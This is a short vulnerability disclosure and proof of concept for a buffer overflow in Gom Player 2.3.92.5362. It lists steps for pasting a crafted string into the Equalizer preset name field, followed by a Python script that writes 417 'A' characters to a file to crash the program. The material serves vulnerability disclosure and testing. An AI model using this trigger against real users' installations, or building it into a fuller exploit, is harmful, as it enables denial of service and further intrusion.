Authored by Yehia Elghaly

Gom Player version 2.3.92.5362 suffers from a buffer overflow vulnerability.

# Exploit Title: Gom Player 2.3.92.5362 - Buffer Overflow (PoC)
# Discovered by: Yehia Elghaly (Mrvar0x)
# Discovered Date: 04.01.2024
# Vendor Homepage: https://www.gomlab.com/en
# Tested Version: 2.3.92.5362
# Tested on: Windows 7, Windows 10

# - Open GOM Player
# - Click on the settings
# - From the menu, select Audio --> Equalizer
# - Click on the plus sign to go to the "Add EQ preset" screen
# - Copy the contents of exploit.txt and paste it into name box, then click OK
# - Crashed!



#!/usr/bin/python

exploit = 'A' * 417

try:
file = open("exploit.txt","w")
file.write(exploit)
file.close()

print("POC is created")
except:
print("POC is not created")